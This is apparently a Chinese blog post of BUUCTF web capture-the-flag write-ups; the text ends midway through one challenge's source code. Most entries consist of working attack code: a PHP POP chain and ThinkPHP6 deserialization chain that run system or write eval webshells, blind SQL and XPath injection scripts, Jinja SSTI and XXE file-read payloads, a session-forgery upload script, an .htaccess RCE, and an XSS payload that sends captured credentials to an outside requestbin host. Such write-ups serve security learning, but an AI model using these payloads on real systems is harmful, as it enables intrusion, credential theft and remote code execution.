当前位置: 首页 > news >正文

buuctf——web刷题第5页

第五页

目录

[EIS 2019]EzPOP

[WMCTF2020]Make PHP Great Again 2.0

[BSidesCF 2020]Hurdles

[安洵杯 2019]iamthinking

[GWCTF 2019]mypassword

[HFCTF2020]BabyUpload

[NewStarCTF 2023 公开赛道]include 0。0

[SWPU2019]Web4

[PASECA2019]honey_shop

[Black Watch 入群题]Web

[GWCTF 2019]你的名字

[GoogleCTF2019 Quals]Bnv

[NPUCTF2020]ezlogin

[RoarCTF 2019]Simple Upload

[羊城杯 2020]Easyphp2

[XNUCA2019Qualifier]EasyPHP

[NewStarCTF 2023 公开赛道]Begin of HTTP

virink_2019_files_share

[NESTCTF 2019]Love Math 2

[NewStarCTF 2023 公开赛道]ez_sql

[DDCTF 2019]homebrew event loop

[羊城杯 2020]Blackcat

[NewStarCTF 2023 公开赛道]Unserialize?

[GYCTF2020]Node Game

[NewStarCTF 2023 公开赛道]泄漏的秘密

[HFCTF 2021 Final]easyflask

[2020 新春红包题]1

[watevrCTF-2019]Supercalc


[EIS 2019]EzPOP

给了源码了

<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {return $this->options['prefix'] . $name;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return true;}return false;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);

B类分析

data反序列化,然后解题的点应该是这个

然后先找$data

来源与$value的序列化

——>使用set方法

expire=0

然后是filename

$filename = $this->getCacheKey($name);

expire变量调用了getExpireTime这个函数,格式化为int类型
filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录

A类分析:

array_filp()反转数组中所有的键以及它们关联的值

array_intersect_key()比较两个数组的键名,并返回交集

这里可以调用set方法且3个参数都有

那就是让store=new B()

__destruct方法调用save(),且autosace=false

ok,$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;这里是拼接了一个

<?php esit();?>

绕过:

由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,9个字节,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加3个字符

base64就用filter:php://filter/write=convert.base64-decode/resource=

filename的由来:

这里的$name就是从A类的key传来的:

$key=1.php

options['prefix']=php://filter/write=convert.base64-decode/resource=

data的由来

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;用base64绕

这个$value是A中的$content

我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是

A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST[1]);?>'))

if ($this->options['data_compress'] && function_exists('gzcompress')) {

//数据压缩

$data = gzcompress($data, 3);

}

这个不用就options['data_compress']=0

首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shell的执行

那么到这里data的内容也构造好了,可是我们发现

使用php伪协议只解了一次编码,而我们这里经历了两次base64编码

前面提到了一个serialize函数

就然serialize等于dencode

链子:

A::__destruct->save()->getForStorage()->cleanStorage()

—>B::set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell

<?php
class A{
protected $store;
protected $key;
protected $expire;public function __construct()
{$this->cache = array();$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST[1]);?>'));$this->key = "1.php";$this->store = new B();$this->autosave = false;$this->expire = 0;
}}
class B{public $options = array();function __construct(){$this->options['serialize'] = 'base64_decode';$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';$this->options['data_compress'] = false;}
}
echo urlencode(serialize(new A()));

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A5%3A%221.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D

然后get传参data就可以了

http://57d62027-6137-473e-a299-98df1ae1ab6e.node5.buuoj.cn:81/1.php

蚁剑连接

做完之后快上天了

[WMCTF2020]Make PHP Great Again 2.0

一毛一样啊

require-once如果包含过多软链接就会失效

  • /proc/self//proc/[pid]/ 的软链接,指向当前进程的 /proc/[pid] 目录。
  • /proc/self/root 是指向当前进程的 根目录(root directory) 的软链接

软链接的基本概念
  • 软链接是一个独立的文件 ,它的内容只是一个路径字符串。
  • 它指向另一个实际存在的文件或目录。
  • 如果原文件被删除,软链接会变成“死链”(失效)

payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

[BSidesCF 2020]Hurdles

源码,抓包,robots.txt都没东西,看看这个 /hurdles

PUT访问

在结尾加个!

那就是/hurdles/!

get=flag

这里是让我们get提交 &=&=& 这个参数,直接bp写肯定不行的,我们就url编码:

%26%3D%26%3D%26

要等于%00加一个换行符(这里的另外一个'在下一行),还是url编码

需要认证,已知username=player

HTTP Basic Authentication

(HTTP 基本认证)是一种简单的、内置于 HTTP 协议中的用户身份验证机制。它的核心思想是:客户端在发送请求时,直接将用户名和密码附加在 HTTP 请求头中,以证明自己的身份

收到 401 响应后,客户端(或用户)会提示输入用户名和密码。一旦用户输入,客户端会执行以下操作:

  1. 拼接:将用户名和密码用冒号连接,形成 username:password
  2. 编码:将这个字符串进行 Base64 编码
  3. 发送:将编码后的字符串放入 Authorization 请求头中,再次发送请求

Authorization: Basic cGxheWVyOnBsYXllcg==

然后这里提示密码是open sesame的md5加密

54ef36ec71201fdf9d1423fd26f97f6b

然后player:54ef36ec71201fdf9d1423fd26f97f6b base64加密:cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi

改UA头:

指定9000版本:

试试127.0.0.1

需要额外的代理转发 ,随便试试

X-Forwarded-For:13.37.13.37,127.0.0.1

要一个cookie,猜测名字就是Fortune

需要Cookie中包含2011年的RFC编号

网站

6265

只接受纯文本(MIME)形式的请求 ,改accept:

MIME(纯文本)Accept:text/plain

不是,为什么有俄语,这还能是啥,accept-language吧

语言代码缩写资料

加Referer

发现不行,看了其他师傅的才知道这是origin参数

这个才是Referer

蚌埠住了

[安洵杯 2019]iamthinking

看到题目的thinking,感觉是thinkphp系类的

访问/public/

这里是www.jpg 那根据经验,可能有www.zip,<——还真有

看了看,这个是thinkphp6的漏洞,信息搜集一下脚本:

<?phpnamespace think\model\concern;trait Attribute
{private $data = ["key" => ["key1" => "cat /flag"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];
}
namespace think;abstract class Model
{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}
}namespace think\model;use think\Model;class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));

payload:

a%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7D%7D

[GWCTF 2019]mypassword

看到有个login.php,那猜测有个register

登陆后

这里有几个php文件

if(is_array($feedback)){echo "<script>alert('反馈不合法');</script>";return false;}$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];foreach ($blacklist as $val) {while(true){if(stripos($feedback,$val) !== false){$feedback = str_ireplace($val,"",$feedback);}else{break;}}}

然后登录界面有个代码:

if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以“分号加空格”分隔var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表var cookie = {};for (var i = 0; i < cookies.length; i++) {var arr = cookies[i].split('=');  // 解析出值var key = arr[0];cookie[key] = arr[1];}if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){document.getElementsByName("username")[0].value = cookie['user'];  document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象}
}

然后就是脚本:

<inpcookieut type="text" name="username"></inpcookieut>

<inpcookieut type="text" name="password"></inpcookieut>

<scricookiept scookierc="./js/login.js"></scricookiept>

<scricookiept>

var uname = documcookieent.getElemcookieentsByName("username")[0].value;

var passwd = documcookieent.getElemcookieentsByName("password")[0].value;

var res = uname + " " + passwd;

documcookieent.locacookietion="http://requestbin.cn:80/172on5c1/?a="+res;

</scricookiept>

网站的话是这个:RequestBin — Collect, inspect and debug HTTP requests and webhooks

(我看其他人都是用buu的404 Not Found,那是那个现在好像没了)

反正就是最后

会在右侧的那列显示出来,但是由于这个是外网,buu的到不了

[HFCTF2020]BabyUpload

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{$filename='/var/babyctf/success.txt';if(file_exists($filename)){safe_delete($filename);die($flag);}
}
else{$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){try{if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){throw new RuntimeException('invalid upload');}$file_path = $dir_path."/".$_FILES['up_file']['name'];$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}@mkdir($dir_path, 0700, TRUE);if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){$upload_result = "uploaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$upload_result = $e->getMessage();}
} elseif ($direction === "download") {try{$filename = basename(filter_input(INPUT_POST, 'filename'));$file_path = $dir_path."/".$filename;if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}if(!file_exists($file_path)) {throw new RuntimeException('file not exist');}header('Content-Type: application/force-download');header('Content-Length: '.filesize($file_path));header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');if(readfile($file_path)){$download_result = "downloaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$download_result = $e->getMessage();}exit;
}
?>

flag的条件:

username=admin 然后 filename存在

php的session默认存储文件名都是sess_+PHPSESSID这种格式

sess_0fd2328704907ad5af435d3fee590700

可以看到session的形式:

所以这里为第二种

脚本:

import hashlib
from io import BytesIO
import requestsurl = 'http://302f206a-db2d-42fe-8d6e-52317003d9f9.node5.buuoj.cn:81/index.php'
# 第一步:上传伪造的session文件
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {'direction':'upload','attr':''
}
res = requests.post(url, data=data ,files=files)# 第二步:获取后面请求时的session_id
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()# 第三步:在/var/babyctf/下创建success.txt目录
data1 = {'attr': 'success.txt','direction': 'upload'
}
res1 = requests.post(url=url, data=data1, files=files)# 第四步:通过上面获取的session_id发起请求,获取flag
cookie = {'PHPSESSID':session_id
}
flag_res = requests.post(url,cookies = cookie)
print(flag_res.text)

取自

这里解释一下,具体做法就是因为我们的session需要username=admin

我们通过

这一段的文件上传把我们伪造的session传上去,然后根据

来确定sess_后面的值(就是确定我们要访问到这个伪造session的PHPSESSID)

然后就是要创建一个success.txt文件

最后就是让PHPSESSID=我们计算好的值,让他验证的时后指向我们构造的session文件

[NewStarCTF 2023 公开赛道]include 0。0

文件包含的其他姿势

文件包含,但是base系列和rot系列不让用,那就用其他的:

php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码

php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码

然后替换成{}就ok

[SWPU2019]Web4

抓包看看:

这里我的username是123;,显示202,那就是存在堆叠注入

由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用

16进制+mysql预处理来绕过

脚本:

#author: c1e4r
import requests
import json
import timedef main():#题目地址url = '''http://9fa24a69-9699-4c20-9e76-2b6b6616747e.node5.buuoj.cn:81/index.php?r=Login/Login'''#注入payloadpayloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"flag = ''for i in range(1,30):#查询payloadpayload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"for j in range(0,128):#将构造好的payload进行16进制转码和json转码datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}data = json.dumps(datas)times = time.time()res = requests.post(url = url, data = data)if time.time() - times >= 3:flag = flag + chr(j)print(flag)breakdef str_to_hex(s):return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':main()

然后注入出来了:glzjin_wants_a_girl_friend.zip

那就是源码咯,审计一下:

这里有一个extract变量覆盖,然后flag是在flag.php中,然后我们去看看哪里用到了这个loadView

而且第二个参数可控

这里userIndex 的 $ListData参数,即$_REQUEST

入口就是这个img_file了,那就用post提交

然后看这个传参:

index.php?r=Login/Index

那就Login是Model的,Index是View那个的,所以就是User/Index

[PASECA2019]honey_shop

买flag

jwt:

那就是1336改成1337,但是我们要知道session的私钥

这里就一个/download

发现是可以目录遍历的

嗯然后想要私钥,试试环境变量

/proc/self/environ

SECRET_KEY=y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3

脚本:

from flask.sessions import SecureCookieSessionInterface
import astclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keydef encrypt_flask_session(secret_key, session_data):"""加密Flask会话数据"""try:app = MockApp(secret_key)session_data = dict(ast.literal_eval(session_data))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_data)except Exception as e:raise Exception(f"[Encoding error] {e}")# 示例用法
session_data = "{'balance': 1339, 'purchases': []}"
secret_key = "y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3"  # 替换为Flask应用的实际SECRET_KEYtry:encrypted_cookie = encrypt_flask_session(secret_key, session_data)print(encrypted_cookie)
except Exception as e:print(e)

eyJiYWxhbmNlIjoxMzM5LCJwdXJjaGFzZXMiOltdfQ.aJgNCg.xx0eWP4ksskQHeI4LO4rBBS9K94

[Black Watch 入群题]Web

看看给的两个页面:

这里可以控制id的参数来变化

json格式

脚本:

import  time
import re
import requests
import stringurl = "http://17485d53-c01f-410b-96ea-45e5000e6600.node5.buuoj.cn:81/backend/content_detail.php"
flag = ''def payload(i, j):time.sleep(0.2)# 数据库名字#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)# 表名#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(i,j)# 字段名#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))>%d)^1"%(i,j)# 查询flagsql = "1^(ord(substr((select(group_concat(password/username))from(admin)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)if "title" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)exp()
print('flag=', flag)

username:aef068bb,1da4a5fc

password:e66dc419,6c165f7c

[GWCTF 2019]你的名字

ssti{{}}过滤

学习

这里用这个发现ban了,那么极有可能是ssti

{{}}不能用,但是可以用{%%}

{% print lipsum%}

这个模块可以用

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('tac /flag_1s_Hera

').read()%}

[GoogleCTF2019 Quals]Bnv

本地DTD与XXE

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

没思路,看了其他师傅的这个是一个本地xxe

这里是json格式,改成xml格式:

payload:

<?xml version="1.0" ?>

<!DOCTYPE message [

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa '

<!ENTITY &#x25; file SYSTEM "file:///flag">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

'>

%local_dtd;

]>

参考这篇文章

Arseniy Sharoglazov: 3 posts tagged XXE

就是说我们在尝试远程DTD的时候是发现被禁止了

解析

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

  • 声明一个参数实体%local_dtd,它会从本地文件系统加载 DTD 文件 /usr/share/yelp/dtd/docbookx.dtd
  • 目的是引入一个合法的 DTD 文件,让 XML 解析器“信任”这个文档是“合法”的,从而允许后续实体解析。
  • 有些 XML 解析器会阻止没有 DTD 的 XXE 攻击,所以引入一个真实存在的 DTD 可绕过某些防护。

<!ENTITY % ISOamso '...'

  • 定义另一个参数实体 %ISOamso,其内容是一段嵌套的 DTD 代码。
  • 注意:%ISOamso 是一个内部参数实体,其内容被包裹在单引号中。

%ISOamso 内部:

<!ENTITY &#x25; file SYSTEM "file:///flag">

      • &#x25;% 的 HTML 实体编码(十六进制 25 = %)。
      • 所以这行等价于:xml
      • <!ENTITY % file SYSTEM "file:///flag">
      • 定义一个参数实体 %file,其值为 /flag 文件的内容。

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">

      • &#x26;& 的 HTML 实体编码。
      • 所以这行等价于:xml
      • <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
      • 这是一个“嵌套实体”:%eval 会定义另一个实体 %error,它的 SYSTEM URI 中包含了 %file 的值(即 /flag 的内容)。

&#x25;eval;&#x25;error;

      • 等价于 %eval;%error;
      • %ISOamso; 被调用时,会执行 %eval;,从而触发 %error 的定义。
      • %error 的 SYSTEM URI 变成了:
      • file:///aaaaa/<内容来自 /flag>
      • 如果 /flag 的内容是 hello,那么最终 URI 是:
      • file:///aaaaa/hello
      • 由于这个路径不存在,某些 XML 解析器会抛出错误,并在错误信息中包含这个非法路径,从而泄露 /flag 文件的内容。

[NPUCTF2020]ezlogin

XPath注入

抓包完是这样的,xml格式啊

发现这题是 XPath注入 

之前没搞过,

首先先判断根节点

'or count(/)=2 or ''='

'or count(/)=1 or ''='

脚本:

import requests
import re
import timesession = requests.session()
url = "http://e396ba63-2043-4878-9ead-d5382673d9ee.node5.buuoj.cn:81/"
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
head = {'Content-Type': 'application/xml',"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"}
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"def get_token():     #获取token的函数resp = session.get(url=url)  #如果在这里用headers会得到超时的界面token = find.findall(resp.text)[0]#print(token)return tokenfor x in range(1,100):for char in chars:time.sleep(0.2)token = get_token()playload = payload_password.format(x, char, token)   #根据上面的playload来改#print(playload)resp = session.post(url=url,headers=head, data=playload)#print(resp.text)if "非法操作" in resp.text:result += charprint(result)breakif "用户名或密码错误" in resp.text:breakprint(result)

脚本取自

结构就是username=adm1n

密码的md5是 cf7414b5bdb2e65ee43083f4ddbc4d9f,解密得到gtfly123

登陆后:

有个file参数,然后源码有个base64加密的:

用filter:

?file=Php://filter/Read=convert.Base64-encode/resource=/flag

这里大写绕过:

得:

ZmxhZ3tmNzZmZTJkOC01NTI2LTQxYzktYmE4Ny05MGYyNTk3MGRmZDJ9Cg==

base64解密得flag

[RoarCTF 2019]Simple Upload

strip_tags绕过

源码:

这里有个strip_tags

去标记,那可以直接1.<>php

然后去看官方的文档,推出upload的url

index.php/home/index/upload

脚本:

import  requestsurl = "http://a3a8a3e9-d36f-4f2d-8f35-c2ef91e11ce7.node5.buuoj.cn:81//index.php/home/index/upload"files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)

然后这里发现一访问就出flag了

[羊城杯 2020]Easyphp2

exec写马

嗯,看了以为是考改包,但是发现有个file参数

看看robots.txt

有个

尝试filter读取,发现有过滤,大小写尝试不行,试试url二次编码

?file=php://filter/read=%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565/resource=check.php

ok,知道改什么了

然后我们读一下GWHT.php

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>count is here</title><style>html,body {overflow: none;max-height: 100vh;}</style>
</head><body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;"><center><img src="question.jpg" height="200" width="200" /> </center><?phpini_set('max_execution_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {setcookie('pass', 'PASS');die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?><h1>A Counter is here, but it has someting wrong</h1><form><input type="hidden" value="GWHT.php" name="file"><textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /><input type="submit"></form><?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?></body></html>

这里有个exec函数,估计是写马

'&echo+"<?=@eval(\$_POST[1])?>">1.php&'

'%26echo+"<?=@eval(\$_POST[1])?>">1.php%26'

然后蚁剑连接

这里有个flag.txt,但是读不了

[XNUCA2019Qualifier]EasyPHP

.hatccess脏字符

其他解法

<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}include_once("fl3g.php");if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nJust one chance");
?>

这题用.htaccess

?content=php_value auto_prepend_fi\

le .htaccess

#<?php system('cat /fl*');?>\&filename=.htaccess

[NewStarCTF 2023 公开赛道]Begin of HTTP

比较简单:

virink_2019_files_share

....//绕过

抓包:

这里有个/uploads/favicon.ico

然后点击priview发现有个f参数:

这里发现其实有过滤,etc/只剩下e了,用....//绕过和etctc

?f=//....//....//....//....//....//....//etctc//passwd

然后去读flag

?f=//....//....//....//....//....//....//f1ag_Is_h3re的时候一直没有用,后面发现其实这是个文件夹:
payload:

?f=//....//....//....//....//....//....//f1ag_Is_h3rere//flag

这里是去了re,当然也可以用下面这个

?f=//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[NESTCTF 2019]Love Math 2

源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
